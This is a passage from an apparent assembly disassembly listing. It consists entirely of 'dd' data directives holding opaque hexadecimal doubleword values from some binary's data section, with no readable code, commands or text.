		dd 302FEC20h, 0CAAC316Bh, 8964CBC1h, 972574A8h,	9F099174h
		dd 58661E8Eh, 0A24ACFAh, 28D5C3CEh, 89B60990h, 607C6824h
		dd 237BE35Eh, 7A114904h, 0E2A67300h, 64211599h,	35A51817h
		dd 0C0632C23h, 0CA2ED38h, 2ACA0BE3h, 7F77ECF9h,	4845F200h
		dd 0AE3C6D34h, 0E033009Fh, 166E20B0h, 5C3BE128h, 0B0C0AE41h
		dd 91E678Eh, 783801ECh,	54312F3Ch, 0A5298050h, 79756005h
		dd 6D8D6903h, 0DC463824h, 5162A543h, 0B426A8B1h, 0EB894500h
		dd 0D91D223h, 9A814A00h, 100E9387h, 78311344h, 4240E29h
		dd 8BC44DC1h, 98A9CE65h, 5D6A1C00h, 58303319h, 42ADA8E7h
		dd 53870BEBh, 0F8186BEDh, 8C030F7Ah, 63E63476h,	74ECA084h
		dd 15A77FCh, 0FDFE9814h, 30ADB27Bh, 1E008388h, 1CE3C960h
		dd 0C2491A7h, 0C8039BB7h, 3400EDD1h, 81BDB689h,	25BCF08h
		dd 9267A87Ch, 0AD825976h, 0A04CF865h, 3357AD10h, 2020D717h
		dd 1751F1C4h, 1F9ECA00h, 40D6280Fh, 5C8D02E8h, 8EE9D7C7h
		dd 0BEE404C5h, 0C3BC1067h, 8E24C2C7h, 6B050365h, 8080945Ch
		dd 14D4B91h, 0E4AD9AD9h, 748909F7h, 0F8CA208h, 247E7C1Dh
		dd 80CD88D1h, 0F57C3A7Dh, 2B0ABDC8h, 0E893262Eh, 0F42275A4h
		dd 6764F61Eh, 4FD200F9h, 5B360A47h, 400D069Bh, 90973868h
		dd 0C0B97F20h, 0B2ADCC59h, 0BC94BC8Fh, 7E806C91h, 8940A6D6h
		dd 5BC5448Ch, 2D67700h,	0F4A54F30h, 5AEF0081h, 0E82E792Bh
		dd 0C09860B5h, 0F026FC98h, 4823874h, 41E970AEh,	5C24A96Ch
		dd 11468699h, 8D18AA12h, 7990349Ch, 0C9492F08h,	0C0939DC0h
		dd 0B2EF2792h, 79095DBAh, 29B3804Dh, 11889D58h,	0EC658198h
		dd 1E3059A9h, 6301EF2h,	0D19D0168h, 0F08C11A8h,	9C490777h
		dd 0CAC8637Ch, 10910036h, 4555880Bh, 860FDF77h,	0E5873EC6h
		dd 0E49259C3h, 5D0320B6h, 6A008622h, 0AF26686Ch, 47DC6Eh
		dd 99019CD2h, 2EA4C9F1h, 0CA02EF0Ch, 7C6134h, 3AC7647Dh
		dd 0DD928426h, 68C5D4FDh, 26A07E49h, 46746C4Dh,	248C1F74h
		dd 59334F40h, 243B188Fh, 0A1C8930h, 9CA036A7h, 953C40BEh
		dd 85DCAAFEh, 0C45DB602h, 834C4E33h, 0A8ACA8F8h, 142F9827h
		dd 0E02A30A5h, 1C23449Dh, 831CC19Bh, 3EC22051h,	0D65896h
		dd 0AA640694h, 0BA97CB15h, 0B203931Ch, 8E3EE080h, 48969C95h
		dd 242C74FBh, 60465E64h, 92F5BA07h, 2FB06248h, 0B6078080h
		dd 5C90A2B8h, 23E0CA48h, 7BC803A5h, 0A2942407h,	2162C0E8h
		dd 12EFFF7Ch, 5FC8A50h,	5435A958h, 0B122E8E8h, 0E08BAD7Ch
		dd 0F8FC1F98h, 0B118C218h, 0D444A511h, 0C4506F46h, 61412E59h
		dd 8C587064h, 1AC3D601h, 687E1BABh, 573D7910h, 0F499BB00h
		dd 2FD551E2h, 2EA126E8h, 0A5BC02F8h, 8CA016D9h,	0D6462A92h
		dd 8EA8FF64h, 0AFB098A6h, 776FADBh, 0A49C0CA0h,	0B002C91h
		dd 7BFB0CBDh, 5ACE39A7h, 88245685h, 0C040947Dh,	8D904890h
		dd 6412C8A1h, 0D7408B38h, 40D100FAh, 0DD41E7B3h, 20C10FCDh
		dd 48381C9Dh, 0E10F4C63h, 21E04678h, 44F6C1B6h,	2A38F579h
		dd 9C4F0047h, 0A17C23A8h, 84A55834h, 0AC8C6C4Ch, 2000C169h
		dd 9BF15D3Dh, 7858B207h, 0EE5F0452h, 0A1259ECDh, 78BEF0h
		dd 2A13757Ch, 9863BBE4h, 8C295080h, 0E38F154Ch,	3480A0E1h
		dd 2724737Ch, 0B4229143h, 7C6D6600h, 997A41D4h,	0E0240AA8h
		dd 28C2B1Dh, 0A4776987h, 8B00C07Ah, 460AE883h, 4C2DFF89h
		dd 0AD3F2036h, 0A7201842h, 3AEB4A59h, 4204074Bh, 0C47EBA78h
		dd 0FD1041B0h, 0E8B758CFh, 0B002A8D5h, 0A41E044Dh, 6C2042CEh
		dd 1C0271B8h, 42E9838Ah, 6CE29C7Dh, 18415441h, 0A3D60879h
		dd 51C27140h, 766200BDh, 4B0EE4D6h, 2122C680h, 0A6911778h
		dd 50F17822h, 1B10CBDh,	0BE43485Eh, 61C3C44Bh, 0B4980035h
		dd 794B0CBCh, 4081D825h
		dd 0B2825522h, 87C807EEh, 0E446E489h, 0A48ACAE7h, 4035470Ch
		dd 2C2DAA69h, 60D4E280h, 4D08A137h, 3600339Ah, 5C5A121Dh
		dd 253F254Eh, 0D09D31DDh, 0E8809911h, 0DAECDDD1h, 4928A312h
		dd 63C8D08Bh, 8214E2C1h, 0B4FCD0DCh, 1DE80980h,	52F78840h
		dd 8BE42012h, 2B00Bh, 24E15EA4h, 1FBB3FD7h, 74FCD5A4h
		dd 8702CD46h, 1C0B139Bh, 0C1810CE0h, 6A913099h,	0E36984h
		dd 0D45D6C10h, 4B89D6C9h, 874814h, 10408952h, 444D504Bh
		dd 0F01932D0h, 88E6C1h,	397B69D0h, 0AF88AA83h, 0DC8E9402h
		dd 0A03CCA52h, 2470DBD4h, 98CE90E3h, 0D5571F5Bh, 17D800C5h
		dd 9ADA0392h, 4039C607h, 65FB16B9h, 1920C208h, 49C97818h
		dd 0D58994B7h, 3759C410h, 788EA501h, 79576B8Ch,	5076FF4h
		dd 0C61BAFEFh, 5FA8805Dh, 4E0FE59Ah, 0C2BC1D51h, 908F1A56h
		dd 13E69044h, 8B75AA34h, 68FC00F0h, 63D7EE6h, 0AA0C04A4h
		dd 0F27F74ACh, 0EC484880h, 0A2038CCDh, 20C7C4D0h, 971900CCh
		dd 6A529EC6h, 9D00BE75h, 2D4B2F29h, 0B1846539h,	18CBD99Ch
		dd 0A50C265Dh, 0EB244070h, 0C000762Ch, 0DDBF8ADCh, 48B83060h
		dd 0C8050493h, 0B0EBB4D7h, 0E8272154h, 80280F6Ah, 7D61AF9Ch
		dd 0A66814B4h, 0FD02C8A0h, 7C407FD2h, 81C59C41h, 2B15CC79h
		dd 90802E69h, 0B6188D70h, 720389A8h, 970F1E33h,	0F53001FBh
		dd 302EFEB3h, 0BB698077h, 0F9B6A8D9h, 5EAB00C6h, 8DFD5450h
		dd 75012485h, 116B047Eh, 2EC06A67h, 0D98B00ECh,	4B0849E9h
		dd 6E0019FCh, 231E0FA3h, 0F0D0A4DFh, 0EC9D0C0Ah, 0C2109224h
		dd 0D18D5807h, 27E012BEh, 0EE13F73Bh, 0E981018Bh, 89CC7C1h
		dd 0F636F89Bh, 0D87F1E01h, 0AB55AFFCh, 0C3C9D0h, 5DADA8E9h
		dd 3AB3E3A3h, 851CAC13h, 0C9070800h, 48BC1ED7h,	99E8781Dh
		dd 0EB002443h, 37271746h, 0C4096788h, 23A29E3h,	0D31949F8h
		dd 0F7E4504Ch, 53AF4802h, 22A1AD38h, 0F44436A5h, 9FDC9409h
		dd 27680047h, 0CAC565C0h, 0A86CB670h, 2C7463Ch,	24917C3Ah
		dd 53FC1C77h, 0EF09ACE4h, 65F961ABh, 60B9E4D8h,	0FCCC203h
		dd 495698A9h, 90331841h, 3C986C92h, 5F4545BCh, 0C4402B12h
		dd 84934A03h, 0DC2C2CA0h, 0AABF0FB4h, 79A488F2h, 89DB9C00h
		dd 51CDB0EDh, 25402188h, 0EF186379h, 0F97CFF05h, 0ACB224A6h
		dd 8A300EE2h, 2D53008Dh, 986782B3h, 0B6726434h,	1044B15Eh
		dd 910137A0h, 0A5BEE8B0h, 88349718h, 0C960BD56h, 2D7022E3h
		dd 0D897BF39h, 0C087B091h, 0B2A430C3h, 630DB181h, 0F185047Dh
		dd 62D4F8h, 103BD945h, 0AB5CDFF5h, 6C482Fh, 0A4466770h
		dd 78C0CAB7h, 0BCB52DB8h, 5D25DC82h, 0E4DA21h, 38C2E52h
		dd 0F8B9084Eh, 590E301h, 0B21CFFAAh, 0BBA2C028h, 88C42Bh
		dd 9DEA3A01h, 0F621B176h, 0F7841601h, 0C6B0928Ch, 2F012079h
		dd 0CAB52DFh, 58486C1Dh, 1BDC16D7h, 1E9F98C1h, 0C8C5B096h
		dd 5DF8C03Ch, 9E036C38h, 73F5615h, 0B9ECAB1Ah, 0BBDA0620h
		dd 3A650079h, 0CDDB9DA9h, 26168A46h, 0D8666BEDh, 58045108h
		dd 0BFD6E8h, 5F4403FFh,	837BF613h, 6A09ECB2h, 302D30AAh
		dd 0C032AB74h, 8E4D8C11h, 49096C0Ah, 4AD1C7Bh, 75603524h
		dd 4025F7D6h, 849691h, 8DD67206h, 78849C5Eh, 14AB1025h
		dd 0F6EC64h, 99531FF7h,	227383FAh, 2D4C3B12h, 84040416h
		dd 3CB4057Ah, 57CF018Ch, 0A7185A5Dh, 7AA6C83Dh,	21990430h
		dd 3A4887h, 0E0356D45h,	2E78AE79h, 520AC413h, 0D4B28084h
		dd 0D73075E2h, 0C970168Ch, 9604900Fh, 1702EFD5h, 0AF7186B1h
		dd 875BE040h, 0A348079Ah, 5B2DE824h, 0C03E2884h, 0B53816B4h
		dd 2B402683h, 0B6B19214h, 2AAE120h, 1E535BC0h, 8A6AFF2h
		dd 133F2936h, 0F0C8402Ah, 753E8430h, 405CA4ACh,	0B5C5123Ch
		dd 2185D8A5h, 0F22386D7h, 1EA8420Ch, 1A79878h, 43CD5560h
		dd 0B6A499D0h, 415080C4h, 78066017h, 34609C7Ch,	2FEC3819h
		dd 9B6B0ADh, 0C17F441Bh, 75D19471h, 71581E18h, 31AA3DB1h
		dd 0C1D4612Eh, 0BE46B987h, 91AD7777h, 92AA8138h, 0D8A1E67Ch
		dd 66C8F80Bh, 1E0503C0h, 0FC849558h, 8880CE63h,	7230C0B7h
		dd 35F47DADh, 0B82030B0h, 0F78A16AEh, 8CD008B3h, 99E691C3h
		dd 0E6DAAh, 0E5E66997h,	46367A8h, 43E481E0h, 3C2CA00Fh
		dd 288520B8h, 18192B42h, 41095CC6h, 42350450h, 0C4BC41ECh
		dd 38032017h, 1E0CE5DEh, 19CCD0AEh, 0DDEB2FBCh,	40087C80h
		dd 345B5430h, 8861783Ch, 1097202Eh, 41887EACh, 0A86CABh
		dd 37B745Dh, 5AAA7952h,	0F7F0200Fh, 0B21C8716h,	0F9803BEAh
		dd 0D0E3AE94h, 35481268h, 0A218C4A5h, 0C0D8F7F4h, 74923A7Eh
		dd 8084A44Ch, 724F97E9h, 16710087h, 2F2CEFE8h, 90BCC105h
		dd 7ED0F440h, 0B29A00BEh, 30ECBBA0h, 1D00A86Bh,	0A7337C07h
		dd 98AA6C8Dh, 0B6957388h, 0D19D865Ch, 1F518478h, 0C8E02374h
		dd 0F8AE8092h, 0E5C29AEEh, 0CDC3A8A0h, 15D9D802h, 98757312h
		dd 5FE48A80h, 23E0000Bh, 0CA7DA230h, 15250494h,	80E59160h
		dd 9D4371B0h, 2C99ABh, 54A9A5CCh, 31020C45h, 53C01008h
		dd 0C938E89Ch, 3B4427B3h, 39F7401h, 78FFE0AAh, 0E3C790C2h
		dd 4D087871h, 8058C45Ch, 98C66BCh, 981E04E6h, 6520CC20h
		dd 0CCF2D7A8h, 4188199Dh, 0EB08EF08h, 11C14351h, 5A971E37h
		dd 66D6E140h, 0C29584h,	35CCA369h, 0F2B6183Dh, 508C3E4Ch
		dd 0F74C6Ch, 9DAD3812h,	8D59301Eh, 340A73B0h, 40CB2250h
		dd 0E6C0941Ch, 73E57F13h, 4B30F571h, 4B0F00FFh,	9E3DF8C9h
		dd 0B0B07E55h, 0E2119BE4h, 0B84C19C5h, 74015223h, 7940A4D6h
		dd 5988C418h, 38D60F8Dh, 0D020BF8Bh, 87B27DDAh,	0B72E6B00h
		dd 0E820A39Bh, 88B0B630h, 3423B978h, 1B47B85Bh,	0C55200B6h
		dd 0F1D080A1h, 0F54DE82Fh, 415B0B0Ch, 0D92412D8h, 1877790Ch
		dd 1E3F010Eh, 2A1F6DC6h, 2274E544h, 0D0201070h,	107C2E92h
		dd 0D3C224E5h, 0E4E0418Dh, 2892D07Eh, 4863100h,	0A517195Dh
		dd 4E1B41C4h, 0C0E388A0h, 7B201523h, 0FC4CDA3Ah, 0A023CB5Fh
		dd 96F59071h, 4BA20EFEh, 0A7A6AA0Dh, 5838613Ch,	64FC1699h
		dd 84EEC400h, 9DACE97Fh, 6BC8018h, 38B5E505h, 0E80C3204h
		dd 142940F0h, 0C02F4E30h, 0FD58804Ah, 0D8591865h, 0C11A02E0h
		dd 0F8CA9822h, 7CFF201Ch, 107C8C48h, 690339EBh,	3F29E11Ah
		dd 0EDBE4804h, 0D0C01FA0h, 0BCD3DAAh, 6633BC90h, 2E8C14C9h
		dd 3D23F42Eh, 2A309200h, 0C6A26EC0h, 2128D490h,	0E5435900h
		dd 0FF71EF9Fh, 11E7061h, 55386BEAh, 208F2A16h, 0A1C9B964h
		dd 0D2F0E8D4h, 5ACA02D5h, 0A04E53B8h, 5C062640h, 693CC91Dh
		dd 0C382E8Dh, 8C6B4848h, 7EE2A705h, 54F2E104h, 0E2EF40DCh
		dd 2E4B1CAEh, 0B0422A4Ah, 5EB43802h, 0D4828394h, 97F83260h
		dd 8727E4A9h, 79942342h, 0DCB1363Dh, 61629031h,	4821A761h
		dd 835900h, 72AC9B4Bh, 3A5592FFh, 7B2AD800h, 0AB693810h
		dd 4FD054Ah, 9BCF466h, 0BC02C3ECh, 7F042AC5h, 830044B2h
		dd 0CA16237Ch, 0F8584607h, 30C99FECh, 0A434D0D6h, 7174A13Ch
		dd 0E6097A18h, 1C05A9CEh, 72FE00A4h, 0FDDBC1E6h, 0AE051893h
		dd 337F6A68h, 3DF298F2h, 587A5230h, 98067683h, 8907A49Ch
		dd 0A5FFD400h, 33737210h, 869B0185h, 0A737FADCh, 0F8D7DC8Ah
		dd 465E189Eh, 51E700BEh, 1A8542E3h, 0D0C94BC8h,	6A23D320h
		dd 0D2399D00h, 3EDB654Fh, 6303009Ch, 3A2B20AAh,	54B01E52h
		dd 227CA148h, 3C040419h
		dd 80B3DDB8h, 55A2B668h, 2704B0B6h, 0BC8C2330h,	0E7F42414h
		dd 45160C0Ch, 530E5841h, 0E489D6FDh, 0A4F498E8h, 0CB058CE0h
		dd 3F24047Bh, 20F86C29h, 5F4C007Ch, 6149D4C8h, 44253214h
		dd 9C140083h, 48884604h, 480904B6h, 0B4686438h,	80F9215Dh
		dd 59D38349h, 3DA9420Eh, 0A600B953h, 29E8D2FFh,	234CAA4Ah
		dd 305E1018h, 8C20F840h, 5AD67A02h, 0F916A941h,	0C06F443Ch
		dd 0FE891810h, 41555D02h, 5436F438h, 929D4134h,	21AC48AAh
		dd 799A260h, 0F00E65E8h, 214BE37h, 9C86B702h, 0B4AC0054h
		dd 0C9FED443h, 0ABE461BBh, 4C0295FBh, 705C0AAAh, 272EADE1h
		dd 69F0282Eh, 7B133Dh, 0F41DA978h, 1BE44D77h, 0C95C3CD3h
		dd 883C8EF4h, 1367C0B2h, 0AC14A94Eh, 5F48A6Ch, 371A1BA7h
		dd 30489C8Bh, 1CF6DE04h, 88D8C2AEh, 9E81C48h, 79F82597h
		dd 781054A8h, 23EF09C3h, 0C58F8F8h, 0BB21056Dh,	617CE51h
		dd 0D0102775h, 0FAA0594h, 0A01E91A7h, 863C2E05h, 9DE35CD0h
		dd 38A8E868h, 7901F210h, 0DF99CAEEh, 52007021h,	7DF55C07h
		dd 0F8814734h, 318EB042h, 8C74D760h, 0B01A1167h, 0F17E208Ch
		dd 0AB4D0F07h, 80C2F061h, 0E0E2E068h, 0AC1A00ECh, 0F4CC9C1Eh
		dd 86E7E89Dh, 0A576F821h, 96700049h, 0F0113BF9h, 0AB086228h
		dd 0D49899h, 1F0E08EFh,	5F06432Eh, 672BECBCh, 0AB333008h
		dd 1F59EB20h, 19B1DD00h, 1ECA01A3h, 335E00C5h, 86885A3Fh
		dd 0D301436Ah, 2568FEF6h, 7980ACE0h, 7DB58EA0h,	0A0CC8C1Eh
		dd 0C097A92Bh, 0B5966621h, 0D53EBBB4h, 8022BA6Bh, 1880D0F2h
		dd 3056A81Dh, 0CFD1EB60h, 8E14EC72h, 2A9C6477h,	8EF5A06Eh
		dd 0C01A3521h, 6A9554B5h, 1806B8DEh, 21F76121h,	4C07E157h
		dd 86872DB1h, 64ABAEC3h, 67706818h, 77F0EC70h, 0E0448C34h
		dd 0EC18002Fh, 0CEC7DDD9h, 170043C1h, 4DF29147h, 30F4BC0Fh
		dd 80E18367h, 5EEA6F85h, 0F640C501h, 26FFDD21h,	77769C41h
		dd 0B7188809h, 0B6464156h, 0CD2F10D4h, 4A7A8844h, 84E230CFh
		dd 0EF000B53h, 71962281h, 28F83952h, 0F220A880h, 2C4314CAh
		dd 0C5034810h, 0E561EC68h, 0A7FBD100h, 0C1FDE3C8h, 317B67h
		dd 0AE065D81h, 0F642A15Bh, 26D11891h, 9E004F18h, 0B373A166h
		dd 0EF2B49Ch, 187E2648h, 0F9BAEB20h, 8900AE69h,	0AC155044h
		dd 2243E6h, 0A52CEEB9h,	8E4D1288h, 230118B8h, 940FBCFDh
		dd 0C8A15D1Bh, 18EDF1DCh, 924FA23h, 92C57B66h, 0DA0A6402h
		dd 0B474B080h, 150A6DA7h, 346963E3h, 0D2D50421h, 0BED8C340h
		dd 0F65A5002h, 6158B6BFh, 0E3F22308h, 76181F0Ah, 2846D39Fh
		dd 0E3581B14h, 8CAE8034h, 563B5Ch, 8D57F970h, 7D836FEBh
		dd 0E0FC820Ch, 0EC4329A7h, 0BEE0316h, 3538FD27h, 2D9E12B0h
		dd 180F9F00h, 1FF82E05h, 0BEC9A24h, 0FE7C6821h,	5B594810h
		dd 3CEF6A44h, 0C0021373h, 462D24C6h, 206E6C62h,	0DA611218h
		dd 1F3A1331h, 0C24185ACh, 7BCE3FF7h, 0B805B960h, 0ECCF1C07h
		dd 29D0472Eh, 7610CB92h, 0F490A0D4h, 0F17C8076h, 113B24B0h
		dd 430B002Bh, 6BC1E34Dh, 8C204C6Ch, 0B3D82802h,	5C684B97h
		dd 0F9DE9EE0h, 25B08AC7h, 0A7779220h, 0DF6137E1h, 9E246099h
		dd 0C600C519h, 2782D552h, 3B8AC39Bh, 2282A9E6h,	69E0F24Dh
		dd 0D9C1C861h, 880EA55h, 0B95295Ch, 203BD50Ch, 0ED88CDh
		dd 0A81E8AB0h, 0A689AAADh, 18CBFF2Ch, 0B2DF0A06h, 0F0A200E4h
		dd 0B5867F47h, 6A007E2Ah, 0A106AEE2h, 989FE36Bh, 224F0CB0h
		dd 6379508Ch, 189BAF34h, 0DE0DAC81h, 64E16101h,	0BB00CF7Ch
		dd 0BCF9B9BFh, 0DDEEC2h, 839F4640h, 0E96EA2CDh,	444C3907h
		dd 530EFD4h, 8C3FD2h, 8A56ADB5h, 4A34A3BFh, 3C997C07h
		dd 18CFBD92h, 0AF5E318h, 0E7E2047Ah, 5FB9F320h,	8F480092h
		dd 3A8B740Bh, 83AC8CFh,	0FF030C00h, 49872295h, 391E98F8h
		dd 5080D077h, 9097EE19h, 8D310CBh, 7981E68Bh, 84141FDh
		dd 0E903A014h, 9E783D21h, 0D91FE026h, 0FF4600FDh, 0BFB7CB99h
		dd 9003395h, 822C8CF1h,	0A4F923B1h, 4B08CA34h, 5D91BF80h
		dd 0A00FADACh, 0A1C6F282h, 3CC1F8C0h, 0B4A68502h, 6DEAF1CBh
		dd 19E3503Ch, 0F8105461h, 30204B65h, 0FD840761h, 14166BAFh
		dd 0E36480C7h, 0A8E40E83h, 5235031Bh, 5B21BC29h, 10D712C5h
		dd 0BC895058h, 0B8449108h, 782284EBh, 88C07D56h, 0BF89BEFEh
		dd 5C445F08h, 17228454h, 11D342C4h, 7822530Bh, 51127507h
		dd 0B720E71Eh, 0F146FFh, 44396270h, 0CD923383h,	4BAF2C00h
		dd 784A7624h, 3B1A071Eh, 0F044FCDAh, 0E8E352BEh, 0CDB1600h
		dd 5335680Ah, 75C71E72h, 7169801Ah, 0BA60D96Eh,	0B6C03B2Eh
		dd 0D0CA9207h, 16B9E930h, 9DD102FAh, 5F642836h,	6D5A0960h
		dd 25F62CF6h, 7BCF04Ch,	366A4D40h, 4662AE60h, 16DFE5Ch
		dd 211F7C9Ch, 30441BCAh, 641C76A4h, 70009224h, 0B18068EEh
		dd 0B1055CEDh, 10E57900h, 0EBEC1181h, 0AC009A76h, 0F992CDCFh
		dd 7BFE1E9Fh, 3A6EE75h,	0E609C487h, 48A6F6E4h, 0ABC3DD1Eh
		dd 0D2119458h, 559E00EAh, 98B8B24Ah, 8330B9B0h,	0CF87F443h
		dd 17420F8Ch, 21EE7437h, 30B005C0h, 2B00EE5Fh, 33A58261h
		dd 0E4ADFCh, 0B3E399CCh, 793CBAB9h, 507C4438h, 9D0C5EA0h
		dd 11DF1FD8h, 8DBA3F3Fh, 0D40C0380h, 0ECF570D7h, 46BBB1Bh
		dd 0DE9BB020h, 939E58DAh, 59151D73h, 5FE7D66Eh,	371E026Ch
		dd 36402BDEh, 8748909h,	63585F00h, 825DA7BEh, 80CA00E5h
		dd 0C2C626F1h, 4403AECEh, 9973C35Fh, 45D9F810h,	271E013Bh
		dd 0CAFC17D2h, 0E39E4A6h, 15DE1900h, 7D778597h,	0F1E090h
		dd 0D9C9BD3Bh, 1202F03Eh, 19FC38B2h, 3C01D800h,	0A62E3752h
		dd 0D5B006Dh, 0CDF8B938h, 0B50092E5h, 11117C3h,	668F993h
		dd 3D128F99h, 0F001104h, 61F60C76h, 39C8906h, 0DD350DF7h
		dd 0AFC8E317h, 0EF2428A1h, 0BD8FE8C5h, 161300CBh, 502E3CD8h
		dd 0F409E825h, 0F8DA7AEAh, 9FDF3098h, 4DFAFFF9h, 0BBD33B00h
		dd 0EC3AB522h, 0CC2300E7h, 0F7A4F11h, 480641CDh, 0ACB1A8EBh
		dd 9D4B0090h, 0E2CE35D9h, 761E0D86h, 0A5403B74h, 0E8FC4685h
		dd 87BE3E60h, 0B341A981h, 0C8D28A11h, 0AF00E3B9h, 0B0E86E50h
		dd 0E71C158h, 17193A05h, 5DB42780h, 7C015E99h, 9E16F7A1h
		dd 0C8F0F5EDh, 0B05498FEh, 811D072Ah, 0C0E72991h, 0A07B870Fh
		dd 0C35BF200h, 0D7DC43E8h, 421A3057h, 0AC2A32FCh, 8D94DD00h
		dd 6661FA0Dh, 0E92007E1h, 0F5B25540h, 7D05FB2Fh, 9C1CAC76h
		dd 0A47F1EC0h, 7627E685h, 9DE98CEh, 8D8C1BCCh, 83223C01h
		dd 40BECD21h, 0BFF7FBFCh, 0B9FA93Eh, 803F4E54h,	0FE6ADC7h
		dd 0E0FE04B2h, 80907C94h, 0D73E23BAh, 0C4349802h, 82FCF4BEh
		dd 24ECB2DCh, 0E7BB7014h, 0EB300750h, 94938D40h, 9D0CD05Dh
		dd 79185E9Bh, 2410493Eh, 0A25003FBh, 34C18F23h,	9F38FAA8h
		dd 0D300D9EAh, 0C930CD4Fh, 1B67A3Dh, 20FA30Dh, 0D407E465h
		dd 49029E2h, 0FCEF2C00h, 4203DF54h, 3E7E004Fh, 5008B195h
		dd 75283373h, 4D0080B3h, 0E6140354h, 0A6521Fh, 5F4235A9h
		dd 0A3F3151Bh, 8AE53A03h, 0F7D8B4A8h, 50FE900h,	0DC1D2407h
		dd 0FAD7038Eh, 808DC052h, 597A463Ch, 931F693Ah,	200C47Fh
		dd 0AC6BAA25h, 0E918014Bh, 0A3F7EEEAh, 5191808Fh, 241163E2h
		dd 0F6DA000Ch, 6D10ABBBh, 520CCF03h, 0A84D5CB8h, 0E27ABDh
		dd 746A9550h, 0D0E8E5C3h, 5C4F64Dh, 5F28862Ch, 0A59FA840h
		dd 2269C64h, 0A00888A7h
		dd 0A460B634h, 5AF0474Ah, 86F97E00h, 6274F694h,	84A448C0h
		dd 0F88E000h, 0A1F49366h, 79BC7500h, 0A31DD837h, 576100D3h
		dd 0C1A85B2Ah, 2E008685h, 0F403560Dh, 4821B9E4h, 6B00A751h
		dd 5D49300Ah, 0E107D3D1h, 5285C8B3h, 2E600100h,	4B990018h
		dd 172CFD79h, 0B81F9D4Ah, 34820203h, 40CFC4CCh,	7BC022h
		dd 1FA554A2h, 0F7381D72h, 0FE76F000h, 89E89380h, 7CE7690h
		dd 14361961h, 9B2581D6h, 7813F099h, 7600A09Eh, 0C1714D53h
		dd 0D7570059h, 106838BFh, 72079222h, 0C70DF3A3h, 486A4A10h
		dd 59620027h, 34214DDCh, 9113EAB2h, 79071098h, 5AF1856Fh
		dd 0B020093Fh, 0ADDF01A6h, 0EFDB20D6h, 8A34302Eh, 0A430F577h
		dd 506EC05Fh, 67C8A807h, 34250073h, 0A6FCC814h,	0CA079FD1h
		dd 55AE5F26h, 45D416Ch,	0EED07102h, 68B18050h, 0F87BBD62h
		dd 46BA2500h, 215DC09Eh, 0E1EA00D8h, 42E732Ah, 2002884h
		dd 7E03F0C6h, 0FD36556h, 90114758h, 834B95A5h, 0F0E7337Dh
		dd 682940D6h, 0D942672Ch, 20C3310Fh, 1555B598h,	74A7078Ch
		dd 0BBBAD1h, 0C421D5F8h, 3C25607h, 0BD971732h, 7A0580A0h
		dd 9BD20084h, 0D6F9C810h, 4000B9E8h, 45855813h,	4EB0B97h
		dd 727CD75Ch, 325EC0E4h, 0F5F01E80h, 61C45FEh, 486995Ah
		dd 3F295F89h, 6400BB08h, 0C8B7D83h, 545BDA2Ch, 0B0521C00h
		dd 1E3D15A0h, 807AEAB4h, 0E24FC0Ch, 0ECE247F6h,	0C0DB6100h
		dd 0CB5C67B6h, 33EA4Eh,	86181071h, 5EC8D8Eh, 6275A400h
		dd 534606F9h, 9AE4A03Ch, 0DB512333h, 0EAC4CBCh,	0E0C09C1Bh
		dd 56437E69h, 0E4823E8Fh, 0AEE69D03h, 9ED819EDh, 90007974h
		dd 5658B7BBh, 14AFBDh, 0CF34153Eh, 30CE2675h, 29009277h
		dd 8E05C536h, 0E95101h,	8C2C40B1h, 0EDB9E67Bh, 0D765AD00h
		dd 8D615A58h, 1A9E3BE3h, 1D00A44Ch, 45F1D880h, 7A0BB694h
		dd 297DEBh, 0D702E668h,	66B13D77h, 884EBF80h, 6D94CA34h
		dd 7E749F00h, 0C3937CCDh, 0FB5902A2h, 0C214054Bh, 68EF5AE0h
		dd 0BF6DF90Bh, 0A40F0076h, 7C2D9612h, 7AD800FAh, 2A5BBC27h
		dd 8103C6F3h, 35906EA3h, 0F755D807h, 0C900Ah, 1F6BC985h
		dd 2E8FF338h, 10938400h, 7AB7A1CEh, 0E396019Bh,	0CB4CEEE8h
		dd 310298Ch, 1A65511Dh,	4D3100AFh, 16983937h, 0FF0E43F3h
		dd 0C1280336h, 0EFCA84C7h, 0E2B060h, 0E2969B2h,	185CBC7Dh
		dd 0FDB85700h, 0BADD6440h, 0FE7B42h, 74BB37B2h,	99D32912h
		dd 1BB6E901h, 16181AADh, 0E0165078h, 299800C6h,	32BD47C2h
		dd 122A6D01h, 8A9B9484h, 0E772A20h, 8B79CC6Ch, 76A0C4EEh
		dd 0D8665ADAh, 8D3E97B8h, 35808FB5h, 25DCE701h,	0E31092B0h
		dd 0CC7A5C76h, 14665587h, 0BAD0D173h, 0CEDDEC2Bh, 52FDCC0Fh
		dd 0D540FF59h, 0BEC03E19h, 4C750490h, 0A0F99957h, 3004650h
		dd 44851BAFh, 0EB7395A7h, 0AA9BC03Ah, 3A01D17Ch, 70DD6A5Fh
		dd 94249FACh, 7F862C1Dh, 8F0CE0F0h, 9B30D7ACh, 0A41410CDh
		dd 82A11FEBh, 0EE6A0021h, 46928A68h, 124DC801h,	69234B49h
		dd 274188Bh, 8579A580h,	2A00566Dh, 0BE3A9350h, 195CC28h
		dd 8A8F8167h, 28FB2DDDh, 203F1410h, 259D00DEh, 245DCC37h
		dd 520D00AFh, 7980B0CDh, 0E1C4138h, 0DC7F5348h,	20F20089h
		dd 9B88F3A0h, 0E061F367h, 0C093A414h, 8A7CA028h, 9ED728C2h
		dd 0D21E00A8h, 0AE2B76D1h, 57187A07h, 12E081B2h, 7EEFAE1h
		dd 9257477h, 0C605E07Dh, 0D7000873h, 4C38B3F4h,	4709DE4h
		dd 7149160Bh, 82D1C137h, 421FD0CBh, 0CD082D0Fh,	546DA0D9h
		dd 1CC330A2h, 40CAB496h, 0EECB34B8h, 0C10005BDh, 0C75FAFEBh
		dd 5D712B0h, 615B4BB9h,	0BA33811Bh, 60285Ch, 65D138E0h
		dd 4C5A96F4h, 2C00F58Bh, 0B7E1C634h, 46009097h,	0E9AEDC4Bh
		dd 0F4EA15h, 5E14FF4Dh,	23B35C26h, 1B1F017Eh, 0E78466ABh
		dd 0E080E6F9h, 1F9F4DD9h, 9E41D819h, 0DF8540D7h, 6B31BFC7h
		dd 48696C07h, 80C9A128h, 16045F6Ch, 0B0AB50EFh,	7EE0002Fh
		dd 1DA1406Eh, 6B09B387h, 8016D90Bh, 1712DB3Eh, 688F288Dh
		dd 0BBCF02B8h, 0AE665156h, 14241866h, 941D58A9h, 193E07C4h
		dd 0C2D01C97h, 1245AC9Ah, 131322D9h, 61E08242h,	764DECA0h
		dd 0B0255AC1h, 45DC0064h, 1141C4Ch, 1F0AB9A5h, 2844CAA0h
